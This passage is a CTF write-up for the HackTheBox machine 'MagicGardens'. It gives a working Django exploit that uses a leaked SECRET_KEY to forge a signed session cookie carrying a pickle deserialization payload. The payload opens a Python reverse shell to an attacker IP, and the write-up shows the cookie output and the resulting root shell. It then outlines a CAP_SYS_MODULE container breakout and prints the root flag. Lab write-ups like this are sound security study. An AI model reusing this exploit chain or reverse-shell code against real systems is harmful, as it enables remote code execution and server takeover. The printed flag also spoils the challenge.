blob.tar: gzip compressed data, original size modulo 2^32 202752
└─$ tar -xvzf blob.tgz
run/
run/nginx.pid
tmp/
usr/
usr/src/
usr/src/app/
usr/src/app/db.sqlite3
usr/src/app/store/
usr/src/app/store/templates/
usr/src/app/store/templates/store/
usr/src/app/store/templates/store/check.html
usr/src/app/store/utils.py
usr/src/app/store/views.py
The app is frontend app which was exploited, since alex
has access there should be more we can do with it.
This build didn't have the complete application, after going through few hashes b0c11cc482abe59dbeea1133c92720f7a3feca9c837d75fd76936b1c6243938c
had full source.
## .env
DEBUG=False
SECRET_KEY=55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b
The Django app is well written and doesn't seem to have any bugs except previous exploit. Since the session token was a little odd on server I looked into server settings
## /usr/src/app/app/settings.py
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SESSION_COOKIE_HTTPONLY = False
Python pickle module is prone to deserialization attack, with SECRET_KEY we can forge tokens and get RCE on container.
## Exploit Credits: https://systemoverlord.com/2014/04/14/plaidctf-2014-reekeeeee/
import os
import subprocess
import pickle
from django.core import signing
from django.contrib.sessions.serializers import PickleSerializer
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "app.settings")
SECRET_KEY = '55A6cc8e2b8#ae1662c34)618U549601$7eC3f0@b1e8c2577J22a8f6edcb5c9b80X8f4&87b'
class Exploit(object):
def __reduce__(self):
return (subprocess.Popen, (
("""python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.16.75",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &"""),
0, # Bufsize
None, # exec
None, # stdin
None, # stdout
None, # stderr
None, # preexec
False, # close_fds
True, # shell
))
## pickle.loads(pickle.dumps(Exploit()))
print(signing.dumps(
Exploit(),
key=SECRET_KEY,
salt='django.contrib.sessions.backends.signed_cookies',
serializer=PickleSerializer,
compress=True
))
## └─$ py /home/woyag/Desktop/Rooms/MagicGardens/blob2/usr/src/app/pickle_exploit.py
## .eJxrYJ0qwMgABj1cxaVJBUX5yanFxVN6WAPyC1LzpkyeotHzvKCyJCM_T0E3WUE9M7cgv6hEoTg_OTu1RAehQSe_2Fqh2BYirgehNKA8R7d4Tz_XEB0oN9jf2Ts-OCTI1dFXE6hHLzk_Ly81uURDQ8nQQA-EzPTMTZV0TIBAU9M6v1gvpbTASKNYLy0zJzUvX0NTxwCoDYuwIXZhI03rAluEQ_WSE3NyNKKV9JMy8_SLM5R0lHQzlWI1rdUV1KZ4M_iBQGdHyZSgKXoA9KxbWQ:1sIWva:MVIXUxiUFhGTdNSHZB_DUWcmqdI9PYQ016kw_vLbzwg
Note: The exploit script needs to be placed in Django project so it has access to apps.
Edit your cookie on website and catch a shell
└─$ pwncat -lp 4444
[13:12:10] Welcome to pwncat 🐈! __main__.py:164
[13:13:59] received connection from 10.10.11.9:39832 bind.py:84
[13:14:04] 0.0.0.0:4444: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
[13:14:05] 10.10.11.9:39832: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@5e5026ac6a81:/usr/src/app#
Get capabilities of container:
(remote) root@5e5026ac6a81:/opt# capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
Docker Breakout
Hacktricks, Docker Breakout / Privilege EscalationHacktricks, Linux Capabilities
Not sure why, but getcap
wasn't giving any output. After going through the list I noticed we have CAP_SYS_MODULE
so I followed the guide to use kmod
and it worked.
I named reverse shell r.c
for short and changed output name to r.o

Note: Make sure to change spaces to tabs as specified in guide! Copy/Paste will use spaces from web.
Root.txt
root@magicgardens:/root# cat root.txt
2c28a43fe16bf33ccf6fb746ff7eee4c
Writeup referenced:https://cn-sec.com/archives/2768793.html
Root exploit 2:https://writeup.raunak-neupane.com.np/hackthebox-seasons/season-5-anomalies/magicgardenshttps://darkwing.moe/2024/05/21/MagicGardens-HackTheBox/
Last updated